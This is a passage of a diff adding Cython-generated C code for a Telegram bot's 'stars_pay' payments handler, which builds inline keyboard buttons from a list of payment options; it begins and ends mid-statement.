__pyx_t_4 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 48, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_GIVEREF(__pyx_t_3); + __pyx_cur_scope->__pyx_v_builder = __pyx_t_3; + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":49 + * + * builder = InlineKeyboardBuilder() + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", url="https://t.me/PremiumBot" + */ + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + + /* "handlers/payments/stars_pay.py":50 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", url="https://t.me/PremiumBot" + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/stars_pay.py":51 + * builder.row( + * InlineKeyboardButton( + * text=" ", url="https://t.me/PremiumBot" # <<<<<<<<<<<<<< + * ) + * ) + */ + __pyx_t_6 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 51, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_text, __pyx_kp_u__2) < 0) __PYX_ERR(0, 51, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_6, __pyx_n_s_url, __pyx_kp_u_https_t_me_PremiumBot) < 0) __PYX_ERR(0, 51, __pyx_L1_error) + + /* "handlers/payments/stars_pay.py":50 + * builder = InlineKeyboardBuilder() + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", url="https://t.me/PremiumBot" + * ) + */ + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_6); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 50, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + __pyx_t_6 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_6 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_6)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_6); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_6, __pyx_t_7}; + __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_6); __pyx_t_6 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":55 + * ) + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_8 = PyObject_Length(__pyx_t_3); if (unlikely(__pyx_t_8 == ((Py_ssize_t)-1))) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_INCREF(__pyx_int_0); + __Pyx_GIVEREF(__pyx_int_0); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_int_0)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_GIVEREF(__pyx_t_3); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 1, __pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error); + __Pyx_INCREF(__pyx_int_2); + __Pyx_GIVEREF(__pyx_int_2); + if (__Pyx_PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_int_2)) __PYX_ERR(0, 55, __pyx_L1_error); + __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_range, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + if (likely(PyList_CheckExact(__pyx_t_3)) || PyTuple_CheckExact(__pyx_t_3)) { + __pyx_t_1 = __pyx_t_3; __Pyx_INCREF(__pyx_t_1); + __pyx_t_8 = 0; + __pyx_t_9 = NULL; + } else { + __pyx_t_8 = -1; __pyx_t_1 = PyObject_GetIter(__pyx_t_3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_9 = __Pyx_PyObject_GetIterNextFunc(__pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 55, __pyx_L1_error) + } + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + for (;;) { + if (likely(!__pyx_t_9)) { + if (likely(PyList_CheckExact(__pyx_t_1))) { + { + Py_ssize_t __pyx_temp = __Pyx_PyList_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_8 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyList_GET_ITEM(__pyx_t_1, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } else { + { + Py_ssize_t __pyx_temp = __Pyx_PyTuple_GET_SIZE(__pyx_t_1); + #if !CYTHON_ASSUME_SAFE_MACROS + if (unlikely((__pyx_temp < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #endif + if (__pyx_t_8 >= __pyx_temp) break; + } + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + __pyx_t_3 = PyTuple_GET_ITEM(__pyx_t_1, __pyx_t_8); __Pyx_INCREF(__pyx_t_3); __pyx_t_8++; if (unlikely((0 < 0))) __PYX_ERR(0, 55, __pyx_L1_error) + #else + __pyx_t_3 = __Pyx_PySequence_ITEM(__pyx_t_1, __pyx_t_8); __pyx_t_8++; if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 55, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + #endif + } + } else { + __pyx_t_3 = __pyx_t_9(__pyx_t_1); + if (unlikely(!__pyx_t_3)) { + PyObject* exc_type = PyErr_Occurred(); + if (exc_type) { + if (likely(__Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration))) PyErr_Clear(); + else __PYX_ERR(0, 55, __pyx_L1_error) + } + break; + } + __Pyx_GOTREF(__pyx_t_3); + } + __Pyx_XGOTREF(__pyx_cur_scope->__pyx_v_i); + __Pyx_XDECREF_SET(__pyx_cur_scope->__pyx_v_i, __pyx_t_3); + __Pyx_GIVEREF(__pyx_t_3); + __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + __pyx_t_3 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_10 = PyObject_Length(__pyx_t_7); if (unlikely(__pyx_t_10 == ((Py_ssize_t)-1))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_7 = PyInt_FromSsize_t(__pyx_t_10); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + __pyx_t_6 = PyObject_RichCompare(__pyx_t_3, __pyx_t_7, Py_LT); __Pyx_XGOTREF(__pyx_t_6); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + __pyx_t_2 = __Pyx_PyObject_IsTrue(__pyx_t_6); if (unlikely((__pyx_t_2 < 0))) __PYX_ERR(0, 56, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + if (__pyx_t_2) { + + /* "handlers/payments/stars_pay.py":57 + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/stars_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + + /* "handlers/payments/stars_pay.py":59 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + */ + __pyx_t_4 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_text); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_text, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/stars_pay.py":60 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * InlineKeyboardButton( + */ + __Pyx_GetModuleGlobalName(__pyx_t_11, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_11, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_11, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 60, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_4, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 59, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + + /* "handlers/payments/stars_pay.py":58 + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_4); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 58, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + + /* "handlers/payments/stars_pay.py":62 + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_4, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + + /* "handlers/payments/stars_pay.py":63 + * ), + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], # <<<<<<<<<<<<<< + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + * ), + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_GetModuleGlobalName(__pyx_t_12, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __pyx_t_13 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyObject_GetItem(__pyx_t_12, __pyx_t_13); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __pyx_t_13 = __Pyx_PyObject_Dict_GetItem(__pyx_t_14, __pyx_n_u_text); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_t_13) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + + /* "handlers/payments/stars_pay.py":64 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', # <<<<<<<<<<<<<< + * ), + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_13, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __pyx_t_14 = __Pyx_PyInt_AddObjC(__pyx_cur_scope->__pyx_v_i, __pyx_int_1, 1, 0, 0); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __pyx_t_12 = __Pyx_PyObject_GetItem(__pyx_t_13, __pyx_t_14); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyObject_Dict_GetItem(__pyx_t_12, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + __pyx_t_12 = __Pyx_PyObject_FormatSimple(__pyx_t_14, __pyx_empty_unicode); if (unlikely(!__pyx_t_12)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_12); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __pyx_t_14 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 64, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_12); __pyx_t_12 = 0; + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_callback_data, __pyx_t_14) < 0) __PYX_ERR(0, 63, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + + /* "handlers/payments/stars_pay.py":62 + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ), + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i + 1]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', + */ + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_empty_tuple, __pyx_t_3); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 62, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_3)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_3); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[3] = {__pyx_t_3, __pyx_t_11, __pyx_t_14}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 2+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + + /* "handlers/payments/stars_pay.py":56 + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): + * if i + 1 < len(PAYMENT_OPTIONS): # <<<<<<<<<<<<<< + * builder.row( + * InlineKeyboardButton( + */ + goto __pyx_L8; + } + + /* "handlers/payments/stars_pay.py":68 + * ) + * else: + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + */ + /*else*/ { + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/stars_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_14); + + /* "handlers/payments/stars_pay.py":70 + * builder.row( + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], # <<<<<<<<<<<<<< + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + * ) + */ + __pyx_t_11 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4, __pyx_n_u_text); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_text, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":71 + * InlineKeyboardButton( + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', # <<<<<<<<<<<<<< + * ) + * ) + */ + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_PAYMENT_OPTIONS); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __pyx_t_4 = __Pyx_PyObject_GetItem(__pyx_t_3, __pyx_cur_scope->__pyx_v_i); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyObject_Dict_GetItem(__pyx_t_4, __pyx_n_u_callback_data); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + __pyx_t_4 = __Pyx_PyObject_FormatSimple(__pyx_t_3, __pyx_empty_unicode); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_4); + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_n_u_stars, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 71, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; + if (PyDict_SetItem(__pyx_t_11, __pyx_n_s_callback_data, __pyx_t_3) < 0) __PYX_ERR(0, 70, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + + /* "handlers/payments/stars_pay.py":69 + * else: + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=PAYMENT_OPTIONS[i]["text"], + * callback_data=f'stars_{PAYMENT_OPTIONS[i]["callback_data"]}', + */ + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_11); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 69, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + __pyx_t_11 = NULL; + __pyx_t_5 = 0; + #if CYTHON_UNPACK_METHODS + if (likely(PyMethod_Check(__pyx_t_7))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_7); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_7, function); + __pyx_t_5 = 1; + } + } + #endif + { + PyObject *__pyx_callargs[2] = {__pyx_t_11, __pyx_t_3}; + __pyx_t_6 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_5, 1+__pyx_t_5); + __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; + __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; + if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 68, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; + } + __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; + } + __pyx_L8:; + + /* "handlers/payments/stars_pay.py":55 + * ) + * + * for i in range(0, len(PAYMENT_OPTIONS), 2): # <<<<<<<<<<<<<< + * if i + 1 < len(PAYMENT_OPTIONS): + * builder.row( + */ + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + + /* "handlers/payments/stars_pay.py":74 + * ) + * ) + * builder.row( # <<<<<<<<<<<<<< + * InlineKeyboardButton( + * text=" ", + */ + __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 74, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_6); + + /* "handlers/payments/stars_pay.py":75 + * ) + * builder.row( + * InlineKeyboardButton( # <<<<<<<<<<<<<< + * text=" ", + * callback_data="enter_custom_amount_stars", + */ + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 75, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_7); + + /* "handlers/payments/stars_pay.py":76 + * builder.row( + * InlineKeyboardButton( + * text=" ", # <<<<<<<<<<<<<< + * callback_data="enter_custom_amount_stars", + * ) + */ + __pyx_t_3 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 76, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_3); + if (PyDict_SetItem(__pyx_t_3, __pyx_n_s_text, __pyx_kp_u__3) < 0) __PYX_ERR(0, 76, __pyx_L1_error) + if 